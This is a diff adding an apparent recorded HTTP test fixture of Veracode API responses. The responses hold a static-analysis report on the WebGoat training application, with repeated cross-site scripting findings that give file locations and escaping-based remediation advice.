+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"73\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"40\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"76\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"43\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"119\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"43\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"98\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"76\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"45\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"127\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"77\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"44\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"100\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"50\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"264\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"79\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"46\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"68\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"80\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"50\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"129\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable thisPage.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparameter. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"143\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"89\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<flaw-status
+        new=\"190\" reopen=\"0\" open=\"0\" fixed=\"0\" total=\"190\" not_mitigated=\"190\"
+        sev-1-change=\"0\" sev-2-change=\"14\" sev-3-change=\"31\" sev-4-change=\"22\"
+        sev-5-change=\"6\"/>\n</detailedreport>\n"
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:18:44 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/detailedreport.do?build_id=44905
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '200075'
+      Date:
+      - Tue, 27 Oct 2015 12:18:47 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<detailedreport xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
+        xmlns=\"https://www.veracode.com/schema/reports/export/1.0\" xsi:schemaLocation=\"https://www.veracode.com/schema/reports/export/1.0
+        https://analysiscenter.veracode.com/resource/detailedreport.xsd\" report_format_version=\"1.5\"
+        app_name=\"WebGoat\" app_id=\"32338\" first_build_submitted_date=\"2012-02-29
+        16:17:16 UTC\" version=\"5.0\" build_id=\"44905\" submitter=\"Veracode\" platform=\"Java\"
+        assurance_level=\"5\" business_criticality=\"5\" generation_date=\"2015-10-27
+        12:18:48 UTC\" veracode_level=\"VL1\" total_flaws=\"190\" flaws_not_mitigated=\"190\"
+        teams=\"\" life_cycle_stage=\"External or Beta Testing\" planned_deployment_date=\"\"
+        last_update_time=\"2012-03-01 15:03:51 UTC\" is_latest_build=\"true\" policy_name=\"Demo
+        Policy\" policy_version=\"3\" policy_compliance_status=\"Did Not Pass\" policy_rules_status=\"Did
+        Not Pass\" grace_period_expired=\"true\" scan_overdue=\"true\" business_owner=\"\"
+        business_unit=\"Not Specified\" tags=\"\" legacy_scan_engine=\"false\">\n<static-analysis
+        rating=\"D\" score=\"69\" submitted_date=\"2012-02-29 16:16:57 UTC\" published_date=\"2012-03-01
+        14:26:18 UTC\" next_scan_due=\"2012-04-01 13:26:18 UTC\" analysis_size_bytes=\"3734905\">\n<modules>\n<module
+        name=\"WebGoat-5.0-with-jsp.war\" compiler=\"JAVAC_6\" os=\"Java J2SE 6\"
+        architecture=\"JVM\" loc=\"142966\" score=\"69\" numflawssev0=\"117\" numflawssev1=\"0\"
+        numflawssev2=\"14\" numflawssev3=\"19\" numflawssev4=\"21\" numflawssev5=\"2\"/>\n</modules>\n</static-analysis>\n<dynamic-analysis
